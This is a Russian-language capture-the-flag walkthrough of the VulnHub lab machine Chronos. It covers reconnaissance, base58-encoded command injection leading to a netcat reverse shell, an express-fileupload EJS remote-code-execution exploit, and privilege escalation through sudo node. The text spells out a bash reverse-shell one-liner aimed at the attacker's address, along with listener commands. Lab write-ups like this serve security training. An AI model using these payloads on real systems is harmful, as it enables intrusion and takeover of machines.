Прохождение машины Chronos: 1 [VulnHub].
Здравствуйте, дорогие друзья.
Chronos — это средняя по сложности машина от Vulnhub от AL1ENUM. Эту машину можно тестировать в VirtualBox. Эта лабораторная работа подходит для новичков, поскольку в ней есть серьезные ошибки, такие как удаленное выполнение команд для обратного подключения и подход к повышению привилегий. Итак, давайте начнем со сканирования айпи-адресов, при помощи утилиты «Netdiscover». Команда: sudo netdiscover
![sudo netdiscover](https://timcore.ru/wp-content/uploads/2023/07/screenshot_1.png)
Актуальный айпи-адрес: 10.0.2.5
Nmap
Кроме того, я запустил агрессивное сканирование (-A) для перечисления открытых портов, где обнаружил следующие сведения о порте:
sudo nmap -A 10.0.2.5
По выходу Nmap получаем:
- на порту 22 работает SSH-сервер
- на порту 80 запущена служба HTTP (сервер Apache)
- на порту 8000 запущена служба HTTP (инфраструктура Node.js Express)
![sudo nmap -A 10.0.2.5](https://timcore.ru/wp-content/uploads/2023/07/screenshot_2.png)
Следующий этап – Перечисление:
Злоупотребление HTTP
Давайте проверим порт 80, чтобы увидеть, есть ли что-нибудь интересное. Мы можем проверить это сразу в браузере, потому что сервер Apache работает на порту 80:
![Проверка порта 80](https://timcore.ru/wp-content/uploads/2023/07/screenshot_3-1024x600.png)
Сайт не предоставляет никакой ценной информации, поэтому идем на страницу с исходниками, которая показывает имена хостов и URL. Поскольку имя хоста не было включено в наш файл конфигурации /etc/hosts, мы не можем его маршрутизировать.
Видим такую ссылку в исходниках:
![ссылка в исходниках](https://timcore.ru/wp-content/uploads/2023/07/screenshot_4-1024x510.png)
Исправляем это, при помощи команды: «sudo nano /etc/hosts»:
![sudo nano /etc/hosts](https://timcore.ru/wp-content/uploads/2023/07/screenshot_5.png)
При просмотре http://chronos.local:8000 сайт отвечает, показывая время, день и дату.
![При просмотре http://chronos.local:8000 сайт отвечает, показывая время, день и дату.](https://timcore.ru/wp-content/uploads/2023/07/screenshot_6.png)
На этот раз был посещен URL-адрес вышеупомянутой исходной страницы; однако сервер ответил сообщением «отказано в доступе». Поэтому я решил перехватывать HTTP-запросы для этой страницы с помощью инструмента Burp Suite:
![Отказано в доступе](https://timcore.ru/wp-content/uploads/2023/07/screenshot_7-1024x380.png)
Декодирование Base64 и Base58
Я перехватил HTTP-запрос для метода GET, который включает параметр формата с аргументом в кодировке base64:
![Я перехватил HTTP-запрос для метода GET, который включает параметр формата с аргументом в кодировке base64:](https://timcore.ru/wp-content/uploads/2023/07/screenshot_8.png)
Идем в декодер, и кодируем параметр в base64:
![Идем в декодер, и кодируем параметр в base64:](https://timcore.ru/wp-content/uploads/2023/07/screenshot_9-1024x433.png)
Скопируем значение аргумента и вставим его в CyberChef, чтобы закодировать в base64
![Скопируем значение аргумента и вставим его в CyberChef, чтобы закодировать в base64](https://timcore.ru/wp-content/uploads/2023/07/screenshot_10-1024x510.png)
Теперь пришло время поэкспериментировать с Repeater; давайте скопируем вывод (base64) и запросим его через репитер. Для предоставленного параметра base64 мы получили сообщение об ошибке для символа, отличного от base58, указывающее, что сервер выполняет кодирование и декодирование с использованием функции base58:
![сервер выполняет кодирование и декодирование с использованием функции base58](https://timcore.ru/wp-content/uploads/2023/07/screenshot_11-1024x628.png)
Эксплуатация
Необходимо внедрить однострочный пэйлоад Netcat
Пришло время использовать удаленное выполнение команд, внедрив обратную оболочку netcat. Вы можете перейти по указанной ссылке, чтобы получить однострочную обратную оболочку netcat и изменить пэйлоад в соответствии с адресом прослушивателя и портом.
URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Используйте следующую команду, чтобы обязательно изменить IP:
![URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](https://timcore.ru/wp-content/uploads/2023/07/screenshot_12-1024x540.png)
![ifconfig](https://timcore.ru/wp-content/uploads/2023/07/screenshot_13.png)
![декодирование](https://timcore.ru/wp-content/uploads/2023/07/screenshot_14-1024x544.png)
Запустите прослушиватель Netcat на порту 1234 для получения обратного соединения. Команда: «sudo nc –lvp 1234
»:
![sudo nc –lvp 1234](https://timcore.ru/wp-content/uploads/2023/07/screenshot_15.png)
Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite:
![Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite](https://timcore.ru/wp-content/uploads/2023/07/screenshot_16.png)
![Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite](https://timcore.ru/wp-content/uploads/2023/07/screenshot_17-1024x751.png)
Как только доставляется полезная нагрузка, я получаю обратное соединение в слушателе Netcat:
![Как только доставляется полезная нагрузка, я получаю обратное соединение в слушателе Netcat:](https://timcore.ru/wp-content/uploads/2023/07/screenshot_18.png)
Раскрытие конфиденциальных данных (экспресс-загрузка файлов) Копаю в каталоге opt, и нахожу две папки: «chronos» и «chronos-v2». Далее, переходим в каталог chronos-v2, есть еще две новые папки в chronos-v2: «frontend» и «backend»:
![cd chronos-v2](https://timcore.ru/wp-content/uploads/2023/07/screenshot_19.png)
![cd backend](https://timcore.ru/wp-content/uploads/2023/07/screenshot_20.png)
Внутри каталога бэкенда я получил четыре скрипта: «node modules», «package.json», «package-lock.json», «server.js».
Я вижу службу под названием «express-fileupload версии 1.1.7» в файле package.json:
![express-fileupload версии 1.1.7](https://timcore.ru/wp-content/uploads/2023/07/screenshot_21.png)
![express-fileupload версии 1.1.7](https://timcore.ru/wp-content/uploads/2023/07/screenshot_22.png)
Повышение привилегий
Из package.json видно, что на сервере работает экспресс-загрузка файлов версии 1.1.7-alpha.3 для Node.js, поэтому давайте поищем возможные эксплойты в Google.
К счастью, я нашел скрипт на Python для выполнения атаки EJS-RCE, для использования экспресс-загрузки файлов:
![Эксплойт на Pytnon](https://timcore.ru/wp-content/uploads/2023/07/screenshot_23.png)
![ejs-exploit](https://timcore.ru/wp-content/uploads/2023/07/screenshot_24.png)
![ejs-exploit](https://timcore.ru/wp-content/uploads/2023/07/screenshot_25-1024x694.png)
Использование экспресс-загрузки файлов
Перехожу на веб-сайт, загружаю эксплойт и вношу изменения в файл IP-адреса хоста (Kali Machine), а затем называю файл poc.py.
'bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '
!['bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '](https://timcore.ru/wp-content/uploads/2023/07/screenshot_26.png)
!['bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '](https://timcore.ru/wp-content/uploads/2023/07/screenshot_27.png)
Необходимо перенести этот эксплойт, поэтому запускаю сервер Python с помощью следующей команды:
![python -m http.server 80](https://timcore.ru/wp-content/uploads/2023/07/screenshot_28.png)
Запустим прослушиватель Netcat на новом порту 8888:
![sudo nc -lvp 8888](https://timcore.ru/wp-content/uploads/2023/07/screenshot_29.png)
Теперь загрузим созданный эксплойт с помощью «wget» в папку tmp:
![Теперь загрузим созданный эксплойт с помощью «wget» в папку tmp:](https://timcore.ru/wp-content/uploads/2023/07/screenshot_30.png)
После загрузки запускаю эксплойт с помощью следующей команды: «python3 poc.py
»
![python3 poc.py](https://timcore.ru/wp-content/uploads/2023/07/screenshot_31.png)
Захват рут-флага
Я получаю оболочку с ограниченными привилегиями на прослушивателе, как только запускаю эксплойт.
Теперь для повышения привилегий давайте выясним права sudo для пользователя «imera». Я обнаружил, что пользователь imera имеет ВСЕ привилегии для запуска двух программных узлов и npm.
Я сделал быстрый поиск и узнал, что мы можем использовать метод «child_process.spawn» для запуска скрипта bash. Этот скрипт bash даст нам корневую оболочку, если он будет выполнен правильно. От GTFOBin: https://gtfobins.github.io/gtfobins/node/
![https://gtfobins.github.io/gtfobins/node/](https://timcore.ru/wp-content/uploads/2023/07/screenshot_32.png)
![https://gtfobins.github.io/gtfobins/node/](https://timcore.ru/wp-content/uploads/2023/07/screenshot_33-1024x547.png)
![root.txt](https://timcore.ru/wp-content/uploads/2023/07/screenshot_34.png)
На этом все. Всем хорошего дня!